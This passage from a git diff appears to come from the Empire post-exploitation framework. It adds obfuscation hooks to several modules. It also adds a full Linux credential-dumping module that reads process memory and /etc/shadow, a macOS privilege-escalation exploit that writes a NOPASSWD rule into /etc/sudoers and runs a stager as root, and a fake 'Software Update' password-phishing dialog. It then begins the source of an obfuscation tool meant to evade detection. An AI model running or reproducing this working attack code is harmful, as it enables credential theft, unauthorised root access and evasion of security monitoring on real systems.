obfuscationCommand=""): # Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop\\' -Name wallpaper -Value $SavePath # rundll32.exe user32.dll, UpdatePerUserSystemParameters @@ -142,5 +142,6 @@ def generate(self): return "" script += "; 'Set-Wallpaper executed'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/trollsploit/wlmdr.py b/lib/modules/powershell/trollsploit/wlmdr.py index 65d9ca474..62d76a9b9 100644 --- a/lib/modules/powershell/trollsploit/wlmdr.py +++ b/lib/modules/powershell/trollsploit/wlmdr.py @@ -65,7 +65,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-Wlrmdr { @@ -107,5 +107,6 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\"" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell_template.py b/lib/modules/powershell_template.py index af44e883c..7a9192edd 100644 --- a/lib/modules/powershell_template.py +++ b/lib/modules/powershell_template.py @@ -74,7 +74,8 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): + + def generate(self, obfuscate=False, obfuscationCommand=""): # The PowerShell script itself, with the command to invoke for # execution appended to the end. Scripts should output everything @@ -92,6 +93,9 @@ def generate(self): # # First method: Read in the source script from module_source moduleSource = self.mainMenu.installPath + "/data/module_source/..." + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -123,14 +127,18 @@ def generate(self): } Invoke-Something""" + scriptEnd = "" + # Add any arguments to the end execution of the script for option, values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/python/collection/linux/mimipenguin.py b/lib/modules/python/collection/linux/mimipenguin.py new file mode 100644 index 000000000..120884024 --- /dev/null +++ b/lib/modules/python/collection/linux/mimipenguin.py @@ -0,0 +1,312 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'Linux MimiPenguin', + + # list of one or more authors for the module + 'Author': ['@rvrsh3ll'], + + # more verbose multi-line description of the module + 'Description': ("Port of huntergregal mimipenguin. Harvest's current user's cleartext credentials."), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "", + + # if the module needs administrative privileges + 'NeedsAdmin' : True, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : True, + + # the module language + 'Language' : 'python', + + # the minimum language version needed + 'MinLanguageVersion' : '2.6', + + # list of any references/other comments + 'Comments': [] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + script = """ +from __future__ import print_function + +import os +import platform +import re +import base64 +import binascii +import crypt +import string + + +def running_as_root(): + return os.geteuid() == 0 + + +def get_linux_distribution(): + try: + return platform.dist()[0].lower() + except IndexError: + return str() + + +def compute_hash(ctype, salt, password): + return crypt.crypt(password, '{}{}'.format(ctype, salt)) + + +def strings(s, min_length=4): + strings_result = list() + result = str() + + for c in s: + try: + c = chr(c) + except TypeError: + # In Python 2, c is already a chr + pass + if c in string.printable: + result += c + else: + if len(result) >= min_length: + strings_result.append(result) + result = str() + + return strings_result + + +def dump_process(pid): + dump_result = bytes() + + with open('/proc/{}/maps'.format(pid), 'r') as maps_file: + for l in maps_file.readlines(): + memrange, attributes = l.split(' ')[:2] + if attributes.startswith('r'): + memrange_start, memrange_stop = [ + int(x, 16) for x in memrange.split('-')] + memrange_size = memrange_stop - memrange_start + with open('/proc/{}/mem'.format(pid), 'rb') as mem_file: + try: + mem_file.seek(memrange_start) + dump_result += mem_file.read(memrange_size) + except (OSError, ValueError, IOError, OverflowError): + pass + + return dump_result + + +def find_pid(process_name): + pids = list() + + for pid in os.listdir('/proc'): + try: + with open('/proc/{}/cmdline'.format(pid), 'rb') as cmdline_file: + if process_name in cmdline_file.read().decode(): + pids.append(pid) + except IOError: + continue + + return pids + + +class PasswordFinder: + _hash_re = r'^\$.\$.+$' + + def __init__(self): + self._potential_passwords = list() + self._strings_dump = list() + self._found_hashes = list() + + def _dump_target_processes(self): + target_pids = list() + for target_process in self._target_processes: + target_pids += find_pid(target_process) + for target_pid in target_pids: + self._strings_dump += strings(dump_process(target_pid)) + + def _find_hash(self): + for s in self._strings_dump: + if re.match(PasswordFinder._hash_re, s): + self._found_hashes.append(s) + + def _find_potential_passwords(self): + for needle in self._needles: + needle_indexes = [i for i, s in enumerate(self._strings_dump) + if re.search(needle, s)] + for needle_index in needle_indexes: + self._potential_passwords += self._strings_dump[ + needle_index - 10:needle_index + 10] + self._potential_passwords = list(set(self._potential_passwords)) + + def _try_potential_passwords(self): + valid_passwords = list() + found_hashes = list() + pw_hash_to_user = dict() + + if self._found_hashes: + found_hashes = self._found_hashes + with open('/etc/shadow', 'r') as f: + for l in f.readlines(): + user, pw_hash = l.split(':')[:2] + if not re.match(PasswordFinder._hash_re, pw_hash): + continue + found_hashes.append(pw_hash) + pw_hash_to_user[pw_hash] = user + + found_hashes = list(set(found_hashes)) + + for found_hash in found_hashes: + ctype = found_hash[:3] + salt = found_hash.split('$')[2] + for potential_password in self._potential_passwords: + potential_hash = compute_hash(ctype, salt, potential_password) + if potential_hash == found_hash: + try: + valid_passwords.append( + (pw_hash_to_user[found_hash], potential_password)) + except KeyError: + valid_passwords.append( + ('', potential_password)) + + return valid_passwords + + def dump_passwords(self): + self._dump_target_processes() + self._find_hash() + self._find_potential_passwords() + + return self._try_potential_passwords() + + +class GdmPasswordFinder(PasswordFinder): + def __init__(self): + PasswordFinder.__init__(self) + self._source_name = '[SYSTEM - GNOME]' + self._target_processes = ['gdm-password'] + self._needles = ['^_pammodutil_getpwnam_root_1$', + '^gkr_system_authtok$'] + + +class GnomeKeyringPasswordFinder(PasswordFinder): + def __init__(self): + PasswordFinder.__init__(self) + self._source_name = '[SYSTEM - GNOME]' + self._target_processes = ['gnome-keyring-daemon'] + self._needles = [r'^.+libgck\-1\.so\.0$', r'libgcrypt\.so\..+$'] + + +class VsftpdPasswordFinder(PasswordFinder): + def __init__(self): + PasswordFinder.__init__(self) + self._source_name = '[SYSTEM - VSFTPD]' + self._target_processes = ['vsftpd'] + self._needles = [ + r'^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$'] + + +class SshdPasswordFinder(PasswordFinder): + def __init__(self): + PasswordFinder.__init__(self) + self._source_name = '[SYSTEM - SSH]' + self._target_processes = ['sshd:'] + self._needles = [r'^sudo.+'] + + +class ApachePasswordFinder(PasswordFinder): + def __init__(self): + PasswordFinder.__init__(self) + self._source_name = '[HTTP BASIC - APACHE2]' + self._target_processes = ['apache2'] + self._needles = [r'^Authorization: Basic.+'] + + def _try_potential_passwords(self): + valid_passwords = list() + + for potential_password in self._potential_passwords: + try: + potential_password = base64.b64decode(potential_password) + except binascii.Error: + continue + else: + try: + user, password = potential_password.split(':', maxsplit=1) + valid_passwords.append((user, password)) + except IndexError: + continue + + return valid_passwords + + def dump_passwords(self): + self._dump_target_processes() + self._find_potential_passwords() + + return self._try_potential_passwords() + + +def main(): + if not running_as_root(): + raise RuntimeError('mimipenguin should be ran as root') + + password_finders = list() + + if find_pid('gdm-password'): + password_finders.append(GdmPasswordFinder()) + if find_pid('gnome-keyring-daemon'): + password_finders.append(GnomeKeyringPasswordFinder()) + if os.path.isfile('/etc/vsftpd.conf'): + password_finders.append(VsftpdPasswordFinder()) + if os.path.isfile('/etc/ssh/sshd_config'): + password_finders.append(SshdPasswordFinder()) + if os.path.isfile('/etc/apache2/apache2.conf'): + password_finders.append(ApachePasswordFinder()) + + for password_finder in password_finders: + for valid_passwords in password_finder.dump_passwords(): + print('{}\t{}:{}'.format(password_finder._source_name, + valid_passwords[0], valid_passwords[1])) + + +if __name__ == '__main__': + main() +""" + + return script + diff --git a/lib/modules/python/collection/osx/imessage_dump.py b/lib/modules/python/collection/osx/imessage_dump.py index bb3268c39..1f4633762 100644 --- a/lib/modules/python/collection/osx/imessage_dump.py +++ b/lib/modules/python/collection/osx/imessage_dump.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/env python class Module: def __init__(self, mainMenu, params=[]): # metadata info about the module, not modified during runtime diff --git a/lib/modules/python/collection/osx/keychaindump_chainbreaker.py b/lib/modules/python/collection/osx/keychaindump_chainbreaker.py index d74bfb044..920e65777 100644 --- a/lib/modules/python/collection/osx/keychaindump_chainbreaker.py +++ b/lib/modules/python/collection/osx/keychaindump_chainbreaker.py @@ -1206,7 +1206,7 @@ def __profile__(): -#!/usr/bin/python +#!/usr/bin/env python # A simple implementation of pbkdf2 using stock python modules. See RFC2898 # for details. Basically, it derives a key from a password and salt. @@ -1283,7 +1283,7 @@ def test(): -#!/usr/bin/python +#!/usr/bin/env python # Author : n0fate # E-Mail rapfer@gmail.com, n0fate@n0fate.com diff --git a/lib/modules/python/collection/osx/prompt.py b/lib/modules/python/collection/osx/prompt.py index 1e77854f8..f657f7e3e 100644 --- a/lib/modules/python/collection/osx/prompt.py +++ b/lib/modules/python/collection/osx/prompt.py @@ -58,6 +58,12 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'Switch. List applications suitable for launching.', 'Required' : False, 'Value' : '' + }, + 'SandboxMode' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Switch. Launch a sandbox safe prompt', + 'Required' : False, + 'Value' : '' } } @@ -80,7 +86,7 @@ def generate(self): listApps = self.options['ListApps']['Value'] appName = self.options['AppName']['Value'] - + sandboxMode = self.options['SandboxMode']['Value'] if listApps != "": script = """ import os @@ -94,8 +100,16 @@ def generate(self): """ else: - # osascript prompt for the specific application - script = """ + if sandboxMode != "": + # osascript prompt for the current application with System Preferences icon + script = """ +import os +print os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon file "Applications:System Preferences.app:Contents:Resources:PrefApp.icns" with hidden answer with title "Software Update"\\\'').read() +""" + + else: + # osascript prompt for the specific application + script = """ import os print os.popen('osascript -e \\\'tell app "%s" to activate\\\' -e \\\'tell app "%s" to display dialog "%s requires your password to continue." & return default answer "" with icon 1 with hidden answer with title "%s Alert"\\\'').read() """ % (appName, appName, appName, appName) diff --git a/lib/modules/python/collection/osx/sniffer.py b/lib/modules/python/collection/osx/sniffer.py index 68b597529..58d3ee766 100644 --- a/lib/modules/python/collection/osx/sniffer.py +++ b/lib/modules/python/collection/osx/sniffer.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/env python class Module: def __init__(self, mainMenu, params=[]): # metadata info about the module, not modified during runtime diff --git a/lib/modules/python/privesc/osx/dyld_print_to_file.py b/lib/modules/python/privesc/osx/dyld_print_to_file.py new file mode 100644 index 000000000..36b81c76b --- /dev/null +++ b/lib/modules/python/privesc/osx/dyld_print_to_file.py @@ -0,0 +1,131 @@ +from lib.common import helpers + + + +class Module: + + def __init__(self, mainMenu, params=[]): + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'Mac OSX Yosemite DYLD_PRINT_TO_FILE Privilege Escalation', + + # list of one or more authors for the module + 'Author': ['@checky_funtime'], + + # more verbose multi-line description of the module + 'Description': ('This modules takes advantage of the environment variable DYLD_PRINT_TO_FILE in order to escalate privileges on all versions Mac OS X Yosemite' + 'WARNING: In order for this exploit to be performed files will be overwritten and deleted. This can set off endpoint protection systems and as of initial development, minimal testing has been performed.'), + + # True if the module needs to run in the background + 'Background': False, + + # File extension to save the file as + # no need to base64 return data + 'OutputExtension': None, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe': False, + + # the module language + 'Language' : 'python', + + # the minimum language version needed + 'MinLanguageVersion' : '2.6', + + 'NeedsAdmin' : False, + + # list of any references/other comments + 'Comments': [ + 'References:', + 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/dyld_print_to_file_root.rb', + 'http://www.sektioneins.com/en/blog/15-07-07-dyld_print_to_file_lpe.html' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent': { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent used to Privesc from', + 'Required' : True, + 'Value' : '' + }, + 'FileName': { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'The filename to use when the temporary file is dropped to disk.', + 'Required' : True, + 'Value' : 'error.log' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'SafeChecks' : { + 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required' : True, + 'Value' : 'True' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'WriteablePath' : { + 'Description' : 'Full path to where the file should be written. Defaults to /tmp/.', + 'Required' : True, + 'Value' : '/tmp/' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + # the Python script itself, with the command to invoke + # for execution appended to the end. Scripts should output + # everything to the pipeline for proper parsing. + # + # the script should be stripped of comments, with a link to any + # original reference script included in the comments. + listenername = self.options['Listener']['Value'] + userAgent = self.options['UserAgent']['Value'] + safeChecks = self.options['SafeChecks']['Value'] + + launcher = self.mainMenu.stagers.generate_launcher(listenername, language='python', userAgent=userAgent, safeChecks=safeChecks) + if launcher == "": + print helpers.color("[!] Error in launcher generation") + launcher = launcher.replace("\"","\\\"") + fullPath = self.options['WriteablePath']['Value'] + self.options['FileName']['Value'] + fileName = self.options['FileName']['Value'] + script = """ +import os +print "Writing Stager to {filename}..." +file = open("{fullpath}","w") +file.write("{filecontents}") +file.close() +print "Attempting to execute stager as root..." +try: + os.system("echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo /bin/sh {fullpath} &") + print "Successfully ran command, you should be getting an elevated stager" +except: + print "[!] Could not execute payload!" + + """ .format(fullpath=fullPath,filecontents=launcher, filename=fileName) + + return script diff --git a/lib/modules/python/situational_awareness/host/osx/situational_awareness.py b/lib/modules/python/situational_awareness/host/osx/situational_awareness.py index 73a5ab91d..bccaddbac 100644 --- a/lib/modules/python/situational_awareness/host/osx/situational_awareness.py +++ b/lib/modules/python/situational_awareness/host/osx/situational_awareness.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/env python class Module: def __init__(self, mainMenu, params=[]): # metadata info about the module, not modified during runtime diff --git a/lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.ps1 b/lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.ps1 new file mode 100644 index 000000000..af753b963 --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.ps1 @@ -0,0 +1,2097 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +Function Invoke-Obfuscation +{ +<# +.SYNOPSIS + +Master function that orchestrates the application of all obfuscation functions to provided PowerShell script block or script path contents. Interactive mode enables one to explore all available obfuscation functions and apply them incrementally to input PowerShell script block or script path contents. + +Invoke-Obfuscation Function: Invoke-Obfuscation +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Show-AsciiArt, Show-HelpMenu, Show-Menu, Show-OptionsMenu, Show-Tutorial and Out-ScriptContents (all located in Invoke-Obfuscation.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Invoke-Obfuscation orchestrates the application of all obfuscation functions to provided PowerShell script block or script path contents to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments and common parent-child process relationships. + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER ScriptPath + +Specifies the path to your payload (can be local file, UNC-path, or remote URI). + +.PARAMETER Command + +Specifies the obfuscation commands to run against the input ScriptBlock or ScriptPath parameter. + +.PARAMETER NoExit + +(Optional - only works if Command is specified) Outputs the option to not exit after running obfuscation commands defined in Command parameter. + +.PARAMETER Quiet + +(Optional - only works if Command is specified) Outputs the option to output only the final obfuscated result via stdout. + +.EXAMPLE + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' -NoExit + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' -Quiet + +C:\PS> Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -Command 'TOKEN\ALL\1,1,TEST,LAUNCHER\STDIN++\2347,CLIP' -NoExit -Quiet + +.NOTES + +Invoke-Obfuscation orchestrates the application of all obfuscation functions to provided PowerShell script block or script path contents to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding(DefaultParameterSetName = 'ScriptBlock')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 0, ParameterSetName = 'ScriptBlock')] + [ValidateNotNullOrEmpty()] + [String] + $ScriptPath, + + [String] + $Command, + + [Switch] + $NoExit, + + [Switch] + $Quiet + ) + + # Define variables for CLI functionality. + $Script:CliCommands = @() + $Script:CompoundCommand = @() + $Script:QuietWasSpecified = $FALSE + $CliWasSpecified = $FALSE + $NoExitWasSpecified = $FALSE + + # Either convert ScriptBlock to a String or convert script at $Path to a String. + If($PSBoundParameters['ScriptBlock']) + { + $Script:CliCommands += ('set scriptblock ' + [String]$ScriptBlock) + } + If($PSBoundParameters['ScriptPath']) + { + $Script:CliCommands += ('set scriptpath ' + $ScriptPath) + } + + # Append Command to CliCommands if specified by user input. + If($PSBoundParameters['Command']) + { + $Script:CliCommands += $Command.Split(',') + $CliWasSpecified = $TRUE + + If($PSBoundParameters['NoExit']) + { + $NoExitWasSpecified = $TRUE + } + + If($PSBoundParameters['Quiet']) + { + # Create empty Write-Host and Start-Sleep proxy functions to cause any Write-Host or Start-Sleep invocations to not do anything until non-interactive -Command values are finished being processed. + Function Write-Host {} + Function Start-Sleep {} + $Script:QuietWasSpecified = $TRUE + } + } + + ######################################## + ## Script-wide variable instantiation ## + ######################################## + + # Script-level array of Show Options menu, set as SCRIPT-level so it can be set from within any of the functions. + # Build out menu for Show Options selection from user in Show-OptionsMenu menu. + $Script:ScriptPath = '' + $Script:ScriptBlock = '' + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + $Script:ObfuscatedCommand = '' + $Script:ObfuscatedCommandHistory = @() + $Script:ObfuscationLength = '' + $Script:OptionsMenu = @() + $Script:OptionsMenu += , @('ScriptPath ' , $Script:ScriptPath , $TRUE) + $Script:OptionsMenu += , @('ScriptBlock' , $Script:ScriptBlock , $TRUE) + $Script:OptionsMenu += , @('CommandLineSyntax' , $Script:CliSyntax , $FALSE) + $Script:OptionsMenu += , @('ExecutionCommands' , $Script:ExecutionCommands, $FALSE) + $Script:OptionsMenu += , @('ObfuscatedCommand' , $Script:ObfuscatedCommand, $FALSE) + $Script:OptionsMenu += , @('ObfuscationLength' , $Script:ObfuscatedCommand, $FALSE) + # Build out $SetInputOptions from above items set as $TRUE (as settable). + $SettableInputOptions = @() + ForEach($Option in $Script:OptionsMenu) + { + If($Option[2]) {$SettableInputOptions += ([String]$Option[0]).ToLower().Trim()} + } + + # Script-level variable for whether LAUNCHER has been applied to current ObfuscatedToken. + $Script:LauncherApplied = $FALSE + + # Ensure Invoke-Obfuscation module was properly imported before continuing. + If(!(Get-Module Invoke-Obfuscation | Where-Object {$_.ModuleType -eq 'Manifest'})) + { + $PathTopsd1 = "$ScriptDir\Invoke-Obfuscation.psd1" + If($PathTopsd1.Contains(' ')) {$PathTopsd1 = '"' + $PathTopsd1 + '"'} + Write-Host "`n`nERROR: Invoke-Obfuscation module is not loaded. You must run:" -ForegroundColor Red + Write-Host " Import-Module $PathTopsd1`n`n" -ForegroundColor Yellow + Exit + } + + # Maximum size for cmd.exe and clipboard. + $CmdMaxLength = 8190 + + # Build interactive menus. + $LineSpacing = '[*] ' + + # Main Menu. + $MenuLevel = @() + $MenuLevel+= , @($LineSpacing, 'TOKEN' , 'Obfuscate PowerShell command ') + $MenuLevel+= , @($LineSpacing, 'STRING' , 'Obfuscate entire command as a ') + $MenuLevel+= , @($LineSpacing, 'ENCODING' , 'Obfuscate entire command via ') + $MenuLevel+= , @($LineSpacing, 'LAUNCHER' , 'Obfuscate command args w/ techniques (run once at end)') + + # Main\Token Menu. + $MenuLevel_Token = @() + $MenuLevel_Token += , @($LineSpacing, 'STRING' , 'Obfuscate tokens (suggested to run first)') + $MenuLevel_Token += , @($LineSpacing, 'COMMAND' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'ARGUMENT' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'MEMBER' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'VARIABLE' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'TYPE ' , 'Obfuscate tokens') + $MenuLevel_Token += , @($LineSpacing, 'COMMENT' , 'Remove all tokens') + $MenuLevel_Token += , @($LineSpacing, 'WHITESPACE' , 'Insert random (suggested to run last)') + $MenuLevel_Token += , @($LineSpacing, 'ALL ' , 'Select choices from above (random order)') + + $MenuLevel_Token_String = @() + $MenuLevel_Token_String += , @($LineSpacing, '1' , "Concatenate --> e.g. <('co'+'ffe'+'e')>" , @('Out-ObfuscatedTokenCommand', 'String', 1)) + $MenuLevel_Token_String += , @($LineSpacing, '2' , "Reorder --> e.g. <('{1}{0}'-f'ffee','co')>" , @('Out-ObfuscatedTokenCommand', 'String', 2)) + + $MenuLevel_Token_Command = @() + $MenuLevel_Token_Command += , @($LineSpacing, '1' , 'Ticks --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'Command', 1)) + $MenuLevel_Token_Command += , @($LineSpacing, '2' , "Splatting + Concatenate --> e.g. <&('Ne'+'w-Ob'+'ject')>" , @('Out-ObfuscatedTokenCommand', 'Command', 2)) + $MenuLevel_Token_Command += , @($LineSpacing, '3' , "Splatting + Reorder --> e.g. <&('{1}{0}'-f'bject','New-O')>" , @('Out-ObfuscatedTokenCommand', 'Command', 3)) + + $MenuLevel_Token_Argument = @() + $MenuLevel_Token_Argument += , @($LineSpacing, '1' , 'Random Case --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'CommandArgument', 1)) + $MenuLevel_Token_Argument += , @($LineSpacing, '2' , 'Ticks --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'CommandArgument', 2)) + $MenuLevel_Token_Argument += , @($LineSpacing, '3' , "Concatenate --> e.g. <('Ne'+'t.We'+'bClient')>" , @('Out-ObfuscatedTokenCommand', 'CommandArgument', 3)) + $MenuLevel_Token_Argument += , @($LineSpacing, '4' , "Reorder --> e.g. <('{1}{0}'-f'bClient','Net.We')>" , @('Out-ObfuscatedTokenCommand', 'CommandArgument', 4)) + + $MenuLevel_Token_Member = @() + $MenuLevel_Token_Member += , @($LineSpacing, '1' , 'Random Case --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'Member', 1)) + $MenuLevel_Token_Member += , @($LineSpacing, '2' , 'Ticks --> e.g. ' , @('Out-ObfuscatedTokenCommand', 'Member', 2)) + $MenuLevel_Token_Member += , @($LineSpacing, '3' , "Concatenate --> e.g. <('dOwnLo'+'AdsT'+'Ring').Invoke()>" , @('Out-ObfuscatedTokenCommand', 'Member', 3)) + $MenuLevel_Token_Member += , @($LineSpacing, '4' , "Reorder --> e.g. <('{1}{0}'-f'dString','Downloa').Invoke()>" , @('Out-ObfuscatedTokenCommand', 'Member', 4)) + + $MenuLevel_Token_Variable = @() + $MenuLevel_Token_Variable += , @($LineSpacing, '1' , 'Random Case + {} + Ticks --> e.g. <${c`hEm`eX}>' , @('Out-ObfuscatedTokenCommand', 'Variable', 1)) + + $MenuLevel_Token_Type = @() + $MenuLevel_Token_Type += , @($LineSpacing, '1' , "Type Cast + Concatenate --> e.g. <[Type]('Con'+'sole')>" , @('Out-ObfuscatedTokenCommand', 'Type', 1)) + $MenuLevel_Token_Type += , @($LineSpacing, '2' , "Type Cast + Reordered --> e.g. <[Type]('{1}{0}'-f'sole','Con')>" , @('Out-ObfuscatedTokenCommand', 'Type', 2)) + + $MenuLevel_Token_Whitespace = @() + $MenuLevel_Token_Whitespace += , @($LineSpacing, '1' , "`tRandom Whitespace --> e.g. <.( 'Ne' +'w-Ob' + 'ject')>" , @('Out-ObfuscatedTokenCommand', 'RandomWhitespace', 1)) + + $MenuLevel_Token_Comment = @() + $MenuLevel_Token_Comment += , @($LineSpacing, '1' , "Remove Comments --> e.g. self-explanatory" , @('Out-ObfuscatedTokenCommand', 'Comment', 1)) + + $MenuLevel_Token_All = @() + $MenuLevel_Token_All += , @($LineSpacing, '1' , "`tExecute Token obfuscation techniques (random order)" , @('Out-ObfuscatedTokenCommandAll', '', '')) + + # Main\String Menu. + $MenuLevel_String = @() + $MenuLevel_String += , @($LineSpacing, '1' , ' entire command' , @('Out-ObfuscatedStringCommand', '', 1)) + $MenuLevel_String += , @($LineSpacing, '2' , ' entire command after concatenating' , @('Out-ObfuscatedStringCommand', '', 2)) + $MenuLevel_String += , @($LineSpacing, '3' , ' entire command after concatenating' , @('Out-ObfuscatedStringCommand', '', 3)) + + # Main\Encoding Menu. + $MenuLevel_Encoding = @() + $MenuLevel_Encoding += , @($LineSpacing, '1' , "`tEncode entire command as " , @('Out-EncodedAsciiCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '2' , "`tEncode entire command as " , @('Out-EncodedHexCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '3' , "`tEncode entire command as " , @('Out-EncodedOctalCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '4' , "`tEncode entire command as " , @('Out-EncodedBinaryCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '5' , "`tEncrypt entire command as (AES)" , @('Out-SecureStringCommand' , '', '')) + $MenuLevel_Encoding += , @($LineSpacing, '6' , "`tEncode entire command as " , @('Out-EncodedBXORCommand' , '', '')) + + # Main\Launcher Menu. + $MenuLevel_Launcher = @() + $MenuLevel_Launcher += , @($LineSpacing, 'PS' , "`t") + $MenuLevel_Launcher += , @($LineSpacing, 'CMD' , ' + PowerShell') + $MenuLevel_Launcher += , @($LineSpacing, 'WMIC' , ' + PowerShell') + $MenuLevel_Launcher += , @($LineSpacing, 'RUNDLL' , ' + PowerShell') + 